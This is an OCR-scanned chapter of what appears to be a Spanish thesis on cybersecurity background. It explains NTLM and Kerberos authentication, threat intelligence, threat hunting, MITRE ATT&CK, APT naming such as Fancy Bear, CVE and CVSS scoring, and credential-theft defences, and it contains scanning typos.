Figura 3.1: Fases de la autenticacion NTLM.

Para la autenticacion NTLM, se utilizan hashes NTLM. Un ejemplo de hash NTLM es

el siguiente:
Rachel:500:aad3c435b514adeeaad3b935b51304fe:e46b9e548fa0d122de7f59fb6d48eaa2: : :

Donde “Rachel” es el nombre de usuario al que corresponde el hash, “500” su identificador rela-
tivo, “aad3c435bb14adeeaad3b935b51304fe” su hash LM y “e46b9eb48fa0d122de7t59tb6d48eaa2”
su hash NT.

Los hashes LAN Manager (LM) se dejaron de usar debido a su poca seguridad, pues
solo soportaban contrasenas de hasta 14 caracteres y en maysuculas, lo que las hacian muy
faciles de crackear mediante fuerza bruta. Los hashes New Technologies (NT), en cambio, si
discrimina entre mintsculas y maytusculas y practicamente soporta todo el juego de caracteres
de Unicode de 65.365 caracteres, frente a los 142 caracteres soportados por LM [ref].

Dentro de NTLM podemos encontrar dos versiones, NTLMv1, en desuso por su falta de
seguridad, y NTLMv2.


http://www.adshotgyan.com/2012/02/lm-hash-and-nt-hash.html
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El funcionamiento de NTLMv1 es similar al de la figura [3.1] El cliente envia un mensaje
de negociacion con su nombre de usuario. Tras el mensaje de negociacion, el servidor envia al
cliente un ntimero aleatorio de 8 bytes. El cliente usa ambos hashes para devolver el ntimero
cifrado utilizando el algoritmo DES al servidor en el mensaje de autenticacion. Si el valor
calculado por el cliente es correcto significa que el cliente es un usuario valido y por tanto
esta autenticado.

El funcionamiento de NTLMv2 difiere de la version 1 en que envia 2 respuestas al servidor
tras el recibir el mensaje con el reto. Si bien es mas robusto y seguro que NTLMv1, tiene
otros problemas. NTLMv2 es vulnerable al ataque Pass the Hash, donde un atacante con
suficientes privilegios puede ser capaz de autenticarse sin conocer la contrasena del usuario,
solamente conociendo su hash.

Desde 2010 Microsoft recomienda no usar NTLM en las aplicaciones debido a no soportar
métodos criptograficos modernos |72]. Pese a eso, NTLM sigue siendo muy usado en los

sistemas actuales, en gran parte debido a la retro-compatibilidad.

Funcionamiento de Kerberos

El protocolo de Kerberos fue disenado y desarrollado por el Massachusetts Institute of
Technology, MIT por sus siglas en inglés, para proveer un mecanismo de autenticacion para
hosts de confianza en redes no fiables. Se basa en la autenticaciéon mutua, tanto el cliente
como el servidor deben verificar su identidad [9].

En lugar de transmitir contrasenas, este protocolo utiliza tickets. Estos tickets son emi-
tidos por el Centro de Distribucién de Claves, KDC por sus siglas en inglés, presente en los

Controladores de Dominio. E1 KDC consta de los siguientes servicios:
1. Servidor de Autenticacion (AS).
2. Servidor de Concesion de Tickets (TGS).

3. Base de datos (DB): Se encarga de guardarlas claves secretas de clientes y servidores

del entorno de Kerberos.

El funcionamiento de la autenticacién con Kerberos puede verse en la figura [3.2] y se

realiza asi:
1. AS_REQ: El cliente envia sus credenciales para ser autenticado por el AS.

2. AS REP: El servidor (AS) envia un Ticket Granting Ticket (TGT) y una clave de
sesion. El TGT esta encriptado utilizando la clave de secreta del TGS y la clave de

sesion se cifra con la clave secreta del usuario.

3. TGS_REQ: El cliente solicita un ticket de servicio. Contiene el TGT anterior y el

autenticador cifrados con la clave de sesion.
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Figura 3.2: Fases de la autenticacion con Kerberos @I

4. TGS_REP: El servidor (TGS) responde enviando el ticket de servicio cifrado con la
clace secreta del servicio solcitado y la clave de sesion generada por el TGS cifrada

usando la clave de session generada en el mensaje anterior por el AS

5. AP _REQ: El cliente envia al servidor de aplicacion el ticket de servicio encriptado con

la clave de sesion generada por el TGS

6. AP_REP (opcional): EL servidor de aplicacién puede responder para probar su au-

tenticacién. Generado cuando la autenticacién mutua es necesaria.

A modo de resumen, en los pasos 1 y 2 el usuario se autentica contra el servidor. Poste-
riormente, en los pasos 3 y 4, el usuario solicita autorizaciéon para acceder a un recurso, el
servidor de aplicacion. Finalmente, en el paso 5, el usuario demuestra al servidor de aplicaciéon

que tiene autorizacién para acceder.

Para la implementacion de Kerberos en Directorio Activo se utiliza la cuenta de servicio
“KRBTGT”. Esta cuenta actua como cuenta de servicio del centro de distribucién de claves,
el KDC por sus siglas en inglés. Esta cuenta no puede eliminarse ni se la puede cambiar el

nombre [63]. Por defecto la cuenta se crea con una contrasena robusta.
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Proceso LSASS

Local Security Authority Subsystem Service es un proceso presente en los sistemas Win-
dows responsable, entre otras funciones, de la autenticacion local de usuarios. Este proceso
actua como almacén de las credenciales, donde se incluyen contrasenas, hashes de contrasenas
y tickets de Kerberos.

Se encarga de validar las credenciales introducidas por el usuario. En caso de que el
dispositivo esté integrado en un dominio de Directorio Activo este proceso sera el encargado

de comunicarse con el controlador de dominio para validar los credenciales.

3.1.4. Active Directory Certificate Services

Dentro de los roles que puede adquirir un servidor de Windows uno de ellos es el de
servicios de certificados de Directorio Activo, ADCS por sus siglas en inglés. Este rol permite
emitir y administrar certificados de infraestructura de clave publica. Estos certificados se
pueden usar para firmar y cifrar informaciéon, como correos electronicos, y para autenticar

cuentas en el dominio [55].

3.2. Cyber Threat Intelligence

La inteligencia de ciberamenazas, CTI por sus siglas en inglés, se refiere al al procesa-
miento de datos e informacion para generar inteligencia que ayuden en la toma de decisiones
para mitigar y responder inmediatamente ante ataques [29].

Por ejemplo, una empresa energética espanola puede utilizar la ciberinteligencia de ame-
nazas para analizar que adversarios estan atacando a otras empresas de su sector y region.
Una vez se conocen los adversarios que estan atacando a empresas similares, se debe investi-
gar que metodologia estan utilizando estos adversarios para realizar sus ataques. Esto puede
permitir que la empresa priorice medidas defensivas mas eficientes, pues permite mitigar

ataques de posibles adversarios reales que tienen méas probabilidades de atacarlos.

3.2.1. Tipos de inteligencia

Se pueden encontrar dos tipos de inteligencia en funcién de a quién va dirigida, inteligencia
operacional e inteligencia estratégica [42).

La inteligencia operacional se centra en la parte mas técnica, por lo que esta orientada
a administradores, personal de ciberseguridad o arquitectos de sistemas. Esta inteligencia
incluye por ejemplo vectores de ataque, vulnerabilidades o dominios de comando y control
[42].

La inteligencia estratégica da informacién sobre el panorama de las amenazas informaticas

que pueden afectar a una organizacion, esta orientada a perfiles directivos o de administra-
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cion. Esta inteligencia se centra en el impacto de un posible ataque y en las tendencias de

los adversarios [42].

3.2.2. Ciclo de inteligencia

La ciberinteligencia surge tras décadas de analisis de agencias gubernamentales y milita-

res. Existen seis fases diferentes que crean el “Ciclo de Inteligencia” [42]:
1. Direccion: En esta fase se definen los objetivos del programa de inteligencia.

2. Recoleccion: En esta fase se recopila informacion a través de diferentes fuentes para

poder alcanzar los objetivos definidos en la fase anterior.

3. Procesamiento: En esta fase se transforma la informacioén recolectada en la fase anterior
en un formato usable para la organizacion. Que pueda ser procesada de alguna forma,

ya sea humanos o maquinas.

4. Analisis: Una vez la informacion ya esta en un formato usable, esta se transforma en

inteligencia para poder ayudar en las decisiones.

5. Diseminacion: La informacion generada en la fase anterior se distribuye en diferentes

informes segin el perfil al que va dirigido, que puede ser mas o menos técnico.

6. Retroalimentacion: Se evaltian los resultados obtenidos, teniendo en cuenta los objeti-

vos iniciales, para poder realizar mejoras de cara a nuevos ciclos.

3.2.3. Utilidades de la inteligencia de ciberamenazas

Como se ha explicado, el objetivo del ciclo de inteligencia es generar inteligencia que ayude
en la toma de decisiones. Esto incluye informaciéon sobre tacticas, técnicas y procedimientos
utilizados por adversarios para poder priorizar diferentes medidas de proteccién. Permite
conocer el panorama actual de amenazas, que adversarios estdn actuando y cuales son sus
objetivos. También permite mejorar el tiempo de respuesta ante un ataque, pues es mas facil
que se conozca que procedimientos estan realizando los adversarios recientemente.

En general, la inteligencia de ciberamenazas permite a los equipos de seguridad a ser mas
proactivos y eficientes a la hora de defenderse ante amenazas cibernéticas

Si bien la inteligencia de ciberamenazas permite recopilar informacion, procesarla y pro-
porcionar inteligencia que permita tomar decisiones, es necesario utilizarla para que sea tutil.
Todas estas amenazas detectadas, los grupos que actian y las TTPs que utilizan son usados
en el Threat Hunting. Al combinar la inteligencia, que permite comprender las amenazas ac-
tuales, con la busqueda de estas se puede tomar medidas preventivas que mitiguen posibles

incidentes.
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3.3. Threat Hunting

La palabra hunting es un término emergente en la ciberseguridad, cuya definicién aun no
es clara. Segin un reporte técnico de MITRE se pueden encontrar las siguientes definiciones
[33]:

= SANS Institute define threat hunting como “un enfoque centrado e iterativo para en-
contrar, identificar y comprender adversarios que han entrado en las redes de los de-

fensores”.

» Sqrrl define threat hunting como “el proceso de proactiva e iterativamente buscar a
través de las redes para detectar y aislar amenazas avanzadas que evaden las soluciones

de seguridad existentes”.

= Endgame define hunting como “el proceso de proactivamente buscar senales de activi-
dad maliciosa en las redes de una empresa sin el conocimiento previo de esas senales,

entonces asegurarse de que esa actividad maliciosa es eliminada de las redes y sistemas”.

La definicién que se utilizara es la escogida por MITRE: “Detecciéon proactiva e investi-
gacion de actividad maliciosa en una red”|33].

La principal caracteristica es que se basa en un enfoque proactivo. Lo opuesto seria
utilizar un enfoque reactivo, el cual implica esperar a que ocurra un incidente, detectarlo,
filtrarlo, contenerlo y remediarlo, todo esto en el menor tiempo posible para poder minimizar
el riesgo. Para poder realizar un enfoque proactivo se deben identificar las amenazas mas

probables y priorizarlas [42].

3.3.1. Métodos de deteccidon

Para detectar un ataque, el equipo defensivo se centra en detectar indicadores de compro-
miso, [oC por sus siglas en inglés. Estos indicadores de compromiso pueden ser un hash de
un fichero malicioso presente en un sistema o una conexién a una direcciéon IP comprometida
por atacantes.

La Piramide del Dolor, llamada en inglés Pyramid of Pain, es una invencién del profesio-
nal de ciberseguridad David J. Bianco que se utiliza para relacionar los tipos de indicadores
que se pueden utilizar para detectar las acciones del adversario y cuanto dolor le causara a
este que se le bloqueen esos indicadores [11]. La Piramide se puede ver en la Figura [3.3]

Esta piramide se puede interpretar de la siguiente forma: Los niveles mas bajos, como
valores hash pertenecientes a archivos maliciosos se pueden alterar con muy poco esfuerzo
por el atacante, con modificar un bit del archivo este cambia. Los niveles intermedios, como
nombres de dominio o artefactos de red suponen mas coste de esfuerzo al adversario para
poder modificarlos, pero tampoco es una tarea complicada. En la ctspide de la pirdmide

se encuentran las Tacticas, Técnicas y Procedimientos, al detectar estas, se trabaja con el
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comportamiento del adversario, no con las herramientas que utiliza. Si se es capaz de bloquear
estos comportamientos, se obliga al adversario a aprender nuevos comportamientos, lo que
le costard mucho tiempo o directamente le hara rendirse en su objetivo |11].

Las tacticas son los comportamientos que los atacantes intentan llevar a cabo, el vector
con el que buscan realizar el ataque y lograr su objetivo, por ejemplo pueden ser compromiso
inicial, movimientos laterales o escalada de privilegios [84].

Las técnicas son los métodos o tareas que se desarrollardn para conseguir la tactica,
dentro de estos se puede encontrar el phishing, el borrado de archivos o la modificacion del
registro de Windows [85].

Los procedimientos son los pasos concretos y predefinidos que seguiré un ciberdelincuente
para desplegar sus técnicas y conseguir que su ataque tenga éxito, en el caso del phishing
serfa todo lo relacionado con crear la infraestructura para lanzar la campana, elaborar los
correos maliciosos y el malware o definir objetivos [79].

Para caracterizar estas TTPs se suele utilizar el framework MITRE ATT&CK, Adver-
sarial Tactics, Techniques and Common Knowledge. El objetivo de este marco es dar una
taxonomia comun que permita comparar TTPs entre diferentes organizaciones de inteligencia
y entre diferentes adversarios . ATT&CK provee una matriz donde agrupa las diferentes
técnicas dentro de las 14 tacticas que se pueden utilizar durante un ataque.

ATT&CK define las siguientes 14 tacticas [84]:

1. Reconocimiento: El adversario intenta recopilar informaciéon para planear operaciones.

2. Desarrollo de recursos: El adversario intenta establecer recursos para apoyar las ope-

raciones.
3. Acceso inicial: El adversario intenta introducirse en la red.
4. Ejecucion: EL adversario intenta ejecutar cédigo malicioso.

5. Persistencia: El adversario intenta mantener su posiciéon dentro de la red.
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6. Escalada de privilegios: El adversario intenta obtener permisos mas altos.
7. Evasion de defensas: El adversario intenta no ser detectado.
8. Acceso a credenciales: El adversario intenta robar nombres de cuentas y contrasenas.
9. Descubrimiento: El adversario intenta comprender el entorno.
10. Movimientos laterales: El adversario intenta moverse por el entorno.
11. Recoleccion: El adversario intenta recopilar datos interesantes para su objetivo.

12. Comando y Control (C2): El adversario intenta comunicarse con sistemas comprome-

tidos para controlarlos.
13. Exfiltracion: El adversario intenta robar datos de la red.
14. Impacto: El adversario intenta manipular, interrumpir o destruir sistemas y datos

En la figura [3.4] se pueden apreciar las columnas de la matriz asociadas a las tacticas
reconocimiento, desarrollo de recursos, acceso inicial y ejecucion. En cada fila se pueden
ver las diferentes técnicas asociadas a esa tactica. Algunas técnicas pueden expandirse para
mostrar diferentes subtécnicas asociadas a ella.

Si se pulsa en alguna de las diferentes técnicas o subtécnicas se accede a su entrada en la
web de ATT&CK. En caso de ser una técnica que tenga asociadas subtécnicas, apareceran
enlaces directos a sus entradas. Dentro de cada entrada se puede ver una descripciéon con las
fuentes, el identificador, la técnica a la que esté asociado o las subtécnicas que tiene asociado,
la tactica a la que pertenece, plataformas afectadas, contribuciones y fechas de cambios.

T**** en el caso de ser una técnica, o, en el caso

El identificador siempre tiene el formato
de ser una subtécnica, T**** *** donde los 4 primeros digitos hacen referencia a la técnica
asociada y los tres ultimos identifican la subténica. Por ejemplo, el identificador asociado al
phishing es T1566, el phishing usando un enlace de phishing dirigido, al ser una subtécnica
del phishing, se identifica como T1566.002.

En la figura se puede ver un fragmento de la entrada para T1566.002, phishing:

Spearphishing Link [70]. En las entradas se puede ver méas informacion:

= Software que utiliza esa técnica o subténica, normalmente se trata de malware pero en

ocasiones también son herramientas benignas. Se identifica con S****,

= Adversarios o grupos que se sabe que han utilizado esa técnica o subténica. Se identi-

fican como G****,

» Campanas en las que se ha usado esa técnica o subtécnica. Se identifican como C****,
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Figura 3.4: Fragmento de la matriz de MITRE ATT&CK .

Este sistema de referencias es muy tutil, pues permite desde una técnica ver que un adver-

sario la ha utilizado y acceder a su entrada. Desde la entrada del adversario se puede ver

informacion de este asi como software, técnicas y campanas con las que esta relacionado de

forma rapida y sencilla.

3.4. Adversarios

Segun la agencia de ciberseguridad vasca, un adversario es una persona o un grupo

que pretende realizar acciones maliciosas contra usuarios o recursos cibernéticos. Para que

un adversario sea considerado una amenaza, debe tener tres cosas: intencion, capacidad y

oportunidad de causar dano [7§].

Los adversarios, también conocidos como actores maliciosos, pueden ser de diferentes
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Figura 3.5: Entrada de MITRE ATT&CK para Spearphishing Link .

tipos segun su complejidad y objetivo. Un ejemplo de adversario es un insider, un emplea-
do descontento en una empresa que decide robar archivos confidenciales y publicarlos en
internet. Un ejemplo mas sofisticado de adversario es el grupo Lockbit, el grupo de ciberde-
lincuencia mas grande del mundo famoso principalmente por ofrecer servicios de Ransomware
as a Service, el cual fue supuestamente desarticulado recientemente [71].

Como se ha visto antes en las secciones [3.2]y [3.3] comprender a los adversarios es crucial
para poder detectarlos y detenerlos. Es por ello que muchas empresas optan por la emulacion
de adversarios, donde el equipo atacante implementara diferentes TTPs usadas por uno o
méas adversarios y el equipo defensivo comprobara si es capaz de responder correctamente
ante ese ataque [39).

3.4.1. Amenazas Persistentes Avanzadas (APT)

Las amenazas persistentes avanzadas o APTs por sus siglas en inglés, son, segun el Ins-
tituto Nacional de Estandares y Tecnologia de los Estados Unidos (NIST):

“Un adversario que posee niveles sofisticados de experiencia y recursos significativos que
le permiten crear oportunidades para lograr sus objetivos mediante el uso de mailtiples vectores
de ataque (por ejemplo, cibernéticos, fisicos y de engano). Estos objetivos suelen incluir el
establecimiento y la ampliacion de puntos de apoyo dentro de la infraestructura de tecnologia
de la informacion de las organizaciones objetivo con el fin de exfiltrar informacion, socavar
o 1mpedir aspectos criticos de una mision, programa u 0rganizacion; 0 posiClONaGrse pard

llevar a cabo estos objetivos en el futuro. La amenaza persistente avanzada: (i) persigue sus
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objetivos repetidamente durante un largo periodo de tiempo; (i) se adapta a los esfuerzos de
los defensores por resistirse a ella; y (1) estd decidida a mantener el nivel de interaccion
necesario para ejecutar sus objetivos” [4].

Esta definicion permite comprender que un APT tiene objetivos definidos, dispone de
una considerable cantidad de recursos econémicos y humanos, es persistente en el tiempo y
utiliza herramientas y metodologias muy sofisticadas. Esto difiere mucho de los ataques tra-
dicionales, donde normalmente una persona atacaba algin sistema, por motivos econémicos

o ego, de la forma mas réapida posible.

Tipos de APT

Los APT se pueden clasificar de muchas formas, segtin los paises a los que atacan, segtn la
industria a la que atacan o su motivacion, que puede ser econémica, de espionaje o sabotaje.

No existe un marco comiin para trabajar con APTs, por lo que cada vendedor de inteli-
gencia de ciberamenazas utiliza una nomenclatura y una clasificacién. Esto conlleva que un
mismo grupo tenga infinitud de nombres diferentes.

Una metodologia comin es usar dos palabras, una de las cuales el estado, en caso de
estar financiados por uno, o la motivacién, econémica para criminales o hacktivismo, lo
que permite indicar el tipo de actor, y otra palabra que sirva para identificar entre actores
de un mismo tipo. Para la palabra que indica el tipo CrowdStrike usa animales, PaloAlto
usa constelaciones, SecureWorks usa minerales y Microsoft usa eventos meteorologicos. En

la tabla se pueden ver algunas formas de nombrar adversarios que tienen 4 empresas
diferentes [47], [57], [69].

Estado/objetivo | CrowdStrike PaloAlto SecureWorks  Microsoft
China [x] Panda [x] Taurus BRONZE [x] [x] Typhoon
Rusia |x] Bear [x] Ursa IRON [x] [x| Blizzard
Iran [x] Kitten [x] Serpens COBALT [x]| [x]| Sandstorm
RDPC [x] Chollima [x] Piscies ~NICKEL [x]| [x] Sleet
Criminales [x] Spider [x] Libra GOLD [x] [x] Tempest
Hacktivistas [x] Jackal [x] Virgo - -

Tabla 3.2: Algunas convenciones de nombre de diversas empresas.

Por ejemplo, el actor financiado por el estado ruso comtunmente conocido como “Fancy
Bear”, en funciéon de la fuente de ciberinteligencia de amenazas consultada, puede ser en-
contrado como IRON TWILIGHT, SNAKEMACKEREL, Swallowtail, Group 74, Sednit,
Sofacy, Pawn Storm, APT28, STRONTIUM, Tsar Team, Threat Group-4127 o TG-4127
[60].

Otro problema existente en la nomenclatura es que a ciertos actores maliciosos se les

conoce por el software que utilizan, por ejemplo Conti es utilizado para hacer referencia



Contexto teodrico 29

tanto al software de ransomware como al grupo que lo opera, conocido comtinmente como

Wizard Spider.

Fases de un ataque de APT

Como se ha comentado, lo ataques de APTs tienen objetivos muy bien definidos, es por
ello que estos grupos son muy meticulosos. Si bien cada grupo tiene sus propias tacticas,
técnicas y procedimientos, como norma general los ataques se componen de una serie de
fases comunes. Una forma de clasificar estas fases es mediante la utilizacion de la “ Cyber Kill

Chain”, que divide el ataque en 7 fases [15].
1. Reconocimiento: El adversario selecciona un objetivo y busca informacién sobre este.

2. Creacion de armamento: El adversario selecciona las herramientas y técnicas que va a

utilizar.
3. Distribucién: El adversario entrega el malware al objetivo.

4. Explotacion: El adversario aprovecha una vulnerabilidad o error humano para que el

malware se ejecute en el objetivo.

5. Instalacion: El adversario instala el malware en el objetivo y consigue acceso persis-

tente.

6. Comando y Control: El adversario es capaz de controlar el sistema infectado de forma

remota.

7. Acciones en objetivo: El adversario utiliza el dispositivo infectado para realizar acciones
maliciosas, como obtener informacion del dispositivo, moverse a otros dispositivos o

realizar una exfiltracion.

La cyber kill chain puede utilizarse conjuntamente con la matriz de MITRE ATT&CK.
Mientras que ATT&CK permite identificar técnicas que usan los atacantes, la cyber kill chain
permite indicar en qué fase del ataque se encuentran.

Por ejemplo, al detectar la técnica T'1566: phishing, se puede descubrir que los adversarios
se encuentran en la fase de distribucion de la cyber kill chain, pues ha entregado el malware
al objetivo pero este atin no se ha ejecutado.

Si bien la cyber kill chain no es tan usada y completa como ATT&CK, es mas simple de

comprender que este. Por este motivo aparece en muchos estudios e informes complemen-
tando a ATT&CK.
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Ejemplo de APT: Fancy Bear

Para poder comprender la complejidad y nivel de profesionalidad que tienen estos grupos,
se utilizard al grupo APT28, cominmente conocido como Fancy Bear.

Este grupo esta atribuido a al servicio de inteligencia militar ruso, GRU por sus siglas
en ruso [89|. Lleva activo desde al menos el afio 2008. Sus principales objetivos son paises
de la Organizacion del Tratado del Atlantico Norte (OTAN) y sus aliados. Suelen atacar a
los sectores aeroespacial, defensa, energia, gobiernos, medios de comunicacién y también a
disidentes [82].

Una de sus campanas mas famosas se realizo en el ano 2016, cuando intentaron interferir
en las elecciones presidenciales de los Estados Unidos de América, mediante la manipulaciéon
de la opinién piblica de los ciudadanos estadounidenses publicando correos electrénicos
personales de la candidata presidencial Hillary Clinton|24]. También han realizado ataques
contra la Agencia Mundial Antidopaje y ministros de asuntos exteriores de diversos paises
[21].

La Threat Hunter Ana Junquera realizé un estudio donde document6 el malware y TTPs
utilizados por este grupo. Destaca especialmente la explotaciéon de vulnerabilidades de tecno-
logias usadas habitualmente por sus objetivos, como pueden ser Microsoft, Adobe, Internet
Explorer y Oracle. También destaca la explotacion de vulnerabilidades emergentes y el uso
de campanas de phishing avanzadas y personalizadas [56].

Comprender qué sectores estan atacando en la actualidad y la forma en que lo hacen
permiten establecer mitigaciones que los impidan llevar a cabo sus objetivos en los sistemas

a defender.

3.5. Ataques

Un ataque es un acto que puede danar o poner en peligro la informacién o los sistemas
que la soportan. Puede ser intencionado o no, pasivo o activo, directo o indirecto [2]. Los
ataques materializan amenazas para explotar vulnerabilidades.

Los ataques buscan danar la confidencialidad, integridad o disponibilidad de la infor-
macion. Estas tres cualidades se conocen como la triada CIA, por sus siglas en inglés. La
confidencialidad asegura que a ese activo solo accedera quienes tengan permisos para hacerlo.
La integridad asegura que ese activo solo podra ser modificado o borrado por aquellos que
tengan permisos previos para hacerlo. La disponibilidad asegura que el activo sera accesible
[12].

Los ataques pueden atacar activos de diferentes categorias, donde se encuentran los datos,
los servicios, el software o el hardware. Por ejemplo, un adversario puede conseguir acceder a
informacion sensible, como usuarios de una plataforma, y modificar alguno, lo cual afecta a

la integridad de ese activo. También atacar un servicio para realizar una denegacion de este,
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con el consecuente coste econdémico y reputacional para la empresa que lo provee, atacando
a la disponibilidad de ese activo. Igualmente puede conseguir informacién de un software
que una empresa comercializa, como el cdédigo fuente de un videojuego, comprometiendo al
confidencialidad de ese activo. Finalmente, también se puede atacar a un servidor con el
objetivo de destruirlo, afectando directamente a la disponibilidad.

Como se ha comentado, los ataques son la materializacién de una amenaza que explota
una vulnerabilidad. Para poder nombrar vulnerabilidades de una forma tnica entre empre-
sas, MITRE cre6 el programa de Vulnerabilidades y Riesgos Comunes, CVE por sus siglas
en inglés. El objetivo de este programa es identificar, definir y catalogar vulnerabilidades
publicas de forma tunica [86]. Todos los CVE se identifican de forma tnica con el formato
COVE-RRRE AR donde en el primer sector siempre aparece “‘CVE”, en el segundo el afio
en que se publicé esa vulnerabilidad y en el tercero un niimero arbitrario, compuesto por
entre 4 y 7 digitos. Por ejemplo, la vulnerabilidad descubierta en 2023 que permitia ejecucion
remota de codigo a través del software WinRar recibe el nombre de “CVE-2023-38831” [87].

Normalmente son asignados por MITRE, pero existen otras organizaciones autorizadas
para hacerlo, como el Instituto Nacional de Ciberseguridad de Espana, conocido como IN-
CIBE, o la Agencia de Ciberseguridad y Seguridad de las Comunicaciones estadounidense,
conocida como CISA. En las bases de datos donde se almacenan todas estas vulnerabili-
dades, normalmente mantenidas por instituciones gubernamentales, también se especifica
el software afectado y las debilidades enumeradas, ambas utilizando otras taxonomias para
poder agruparlas y utilizarlas en entornos reales.

Si bien el programa CVE es muy tutil para nombrar e identificar vulnerabilidades, tiene

dos problemas principales [42]:
1. Se enfocan en la explotabilidad técnica antes que en la explotaciéon activa.

2. No se actualizan lo suficientemente rapido como para alertar de algunas amenazas de

rapida propagacion.

Para poder priorizar las vulnerabilidades se utiliza el Sistema Comun de Puntuacion de
Vulnerabilidades, CVSS por sus siglas en inglés. Este sistema da una puntuacion de 0 a 10,
donde a mayor es el valor mas critica es la vulnerabilidad. Esta puntuacion se calcula a
través de unas métricas basicas y otras temporales. Las métricas basicas hacen referencia a
caracteristicas invariables de la vulnerabilidad, como si requiere interaccion del usuario para
ser explotada, si se requiere acceso fisico al dispositivo o se puede explotar de forma remota
o el impacto que tiene en cada una de las caracteristicas de la triada CIA. La puntuaciéon
temporal tiene en cuenta, por ejemplo, si existe alguna prueba de concepto publica que
explote esa vulnerabilidad, la cual puede ser explotada por algiin adversario. Por ejemplo,
la vulnerabilidad CVE-2023-38831 tiene una puntuaciéon de 7,8 (alta) [87].

Pese a que CVSS sea muy util para entender rapida y facilmente la importancia de una

vulnerabilidad, al igual que CVE se centra en la explotabilidad técnica en vez de en la activa.
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Esto hace que solamente indique lo peligrosa que es una vulnerabilidad hipotéticamente, pero
no si esta siendo explotada activamente en la actualidad [42].

Si bien la defensa de los endpoints y de las comunicaciones sigue siendo fundamental, los
adversarios siempre encuentran nuevas vias. Los atacantes ya no solo explotan vulnerabilida-
des y fallos de configuracion, también atacan a la identidad de los usuarios. Segun el reporte
de investigacion de brechas de datos de Verizon, el 77 % de los incidentes de seguridad tienen
su origen en el uso de credenciales robadas [77].

Las credenciales permiten a los adversarios tener un acceso inicial a la organizacion, ya sea
por aplicaciones Web expuestas a Internet, VPNs o servicios de conexiéon remota como RDP
y SSH. Una vez el adversario esté dentro, las credenciales le permiten realizar movimientos
laterales y verticales, bien permitiéndole el acceso a otras maquinas o bien consiguiendo mas
privilegios en el dominio. El acceso a credenciales también les permite establecer persistencia
en la red.

En funciéon del usuario cuyas credenciales han sido comprometidas, el nivel de acceso de
los adversarios puede variar. Aunque obtengan credenciales con bajos privilegios, funciona
como puerta de entrada para que puedan aumentar los privilegios que poseen dentro de la
red.

Estos ataques se relacionan con la técnica de ATT&CK “T1078: Valid Accounts”, la cual
tiene 4 subtécnicas para diferenciar entre cuentas por defecto, locales, del dominio y de
entornos en la nube [83].

La empresa CrowdStrike ha enumerado cinco causas comunes del robo de credenciales
[88]:

1. Malware: Algunos software maliciosos tienen como funcionalidad el robo de contrasenas
u otros materiales de autenticaciéon presentes en el equipo, asociado a la técnica de
ATT&CK “T1555: Credentials from Password Stores”. También existe software que
permite la captura de las pulsaciones del teclado, técnica conocida como Keylogging y
asociado a la técnica de ATT&CK T1056.001.

2. Phishing: Los adversarios pueden utilizar esta técnica, con identificador T1566 en
ATT&CK, para obtener credenciales. Esto incluye campanas generales como phishing

dirigido a individuos, companias o industrias.

3. Contrasenas débiles o su reutilizaciéon: En muchas ocasiones los usuarios, principal-
mente por falta de concienciacién, utilizan contrasenas que no son lo suficientemente
robustas o son faciles de adivinar. También es comin la reutilizacion de contrasenas
en diferentes servicios, lo que aumenta el riesgo en caso de que esa credencial sea

comprometida.

4. Ataques a servicios en la nube que provocan movimientos laterales.
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5. Ataques Man-in-the-Middle: En este ataque, los adversarios adquieren la capacidad
interceptar la comunicacion entre usuarios o maquinas [48|. Estos ataques han ido
perdiendo importancia con el progreso de la criptografia, que ha permitido que los
adversarios tengan més complicado el leer y modificar las comunicaciones. La técni-
ca de ATT&CK “T1557.001, Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning
and SMB Relay”, se basa en este ataque para obtener hashes NTLM de usuarios del

dominio.

Esto permite observar que los adversarios pueden obtener credenciales de diferentes for-
mas en diferentes momentos del ataque, tanto para obtener un compromiso inicial como para
obtener persistencia una vez han entrado.

Para mejorar la seguridad de las credenciales se ha desarrollado la autenticacion de
multiples factores, conocida como MFA por sus siglas en inglés. Lo normal para autenticarse
anteriormente era utilizar “algo que sabes”, como una contrasefia o un pin. Actualmente se
utilizan otros métodos de forma complementaria, como “algo que eres”, donde se encuentra
la identificacion biométrica, o “algo que tienes”, como puede ser un dispositivo USB o un
teléfono inteligente.

Si bien la autenticacion en multiples factores es una capa que aumenta mucho la seguridad
y la cual hay que implementar, sigue sin ser suficiente, pues muchas aplicaciones no la
soportan, puede contener vulnerabilidades o puede ser evitado mediante el Phishing 2.0.

Los adversarios pueden obtener credenciales de muchas formas diferentes en distintos
puntos de un ataque. Esto les permite obtener acceso incial, realizar movimientos laterales

o incluso mantener persistencia. Proteger la identidad es un objetivo critico.

3.6. Defensas

Si bien los adversarios se han ido profesionalizando mas con el paso del tiempo, los
defensores también han ido mejorando para poder responder. Para ello se han ido creando
y desarrollando diferentes soluciones a varios niveles.

Por ejemplo, el framework de ciberseguridad del NIST) el Instituto Nacional de Estanda-
res y Tecnologia de Estados Unidos, propone 5 pilares para un programa de ciberseguridad.
Estos pilares son identificar, proteger, detectar, responder y recuperar [80).

La protecciéon implica implementar medidas preventivas para evitar ataques y salvaguar-
dar los sistemas. Las tecnologias como los antivirus de nueva generacion y las soluciones EDR
contribuyen a esta proteccion al identificar y bloquear amenazas antes de que causen dano.
La deteccién se centra en identificar actividades maliciosas, y aqui es donde las herramientas
como los administradores de eventos e informaciéon de seguridad, conocidos como SIEM por
sus siglas en inglés, desempenan un papel crucial al analizar registros y alertar sobre posibles

incidentes. Por tltimo, la capacidad de responder rdpidamente ante una amenaza es esencial
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para minimizar el impacto. Las soluciones de deteccion y respuesta en endpoints, conocidas
como EDR por sus sigas en inglés, también permiten acciones inmediatas en los endpoints
afectados.

La mejora en las defensas debe ser continua. El panorama de amenazas es cambiante,
surgen nuevos grupos y otros desaparecen, lo que conlleva que sus miembros pasen a formar
parte de otros grupos. Las tacticas, técnicas y procedimientos utilizados por estos grupos
también estédn en constante evolucion. Es por ello que utilizar la inteligencia de ciberamenazas
para analizar las amenazas actuales de forma continua y comprender que TTPs pueden
afectar a cada organizacion es indispensable para generar reglas de deteccidon, con ejercicios
de threat hunting que permitan una defensa proactiva que permita reducir y evitar ataques.

Este enfoque hibrido centrado en que un red team simula TTPs obtenidos mediante
inteligencia de ciberamenazas y el equipo de threat hunting comprueba las reglas de detecciéon
que ha creado se conoce como enfoque purple. El objetivo es integrar los equipos defensivo
y ofensivo, blue y red, con el fin de mejorar la comunicaciéon y la priorizacion de las defensas
de la organizacion. Un ejemplo donde puede verse como se aplica este enfoque de forma

continua en organizaciones puede verse en la figura [3.6]

Ingenieria de deteccién Nuevas TTPs / Compartamiento Adversario
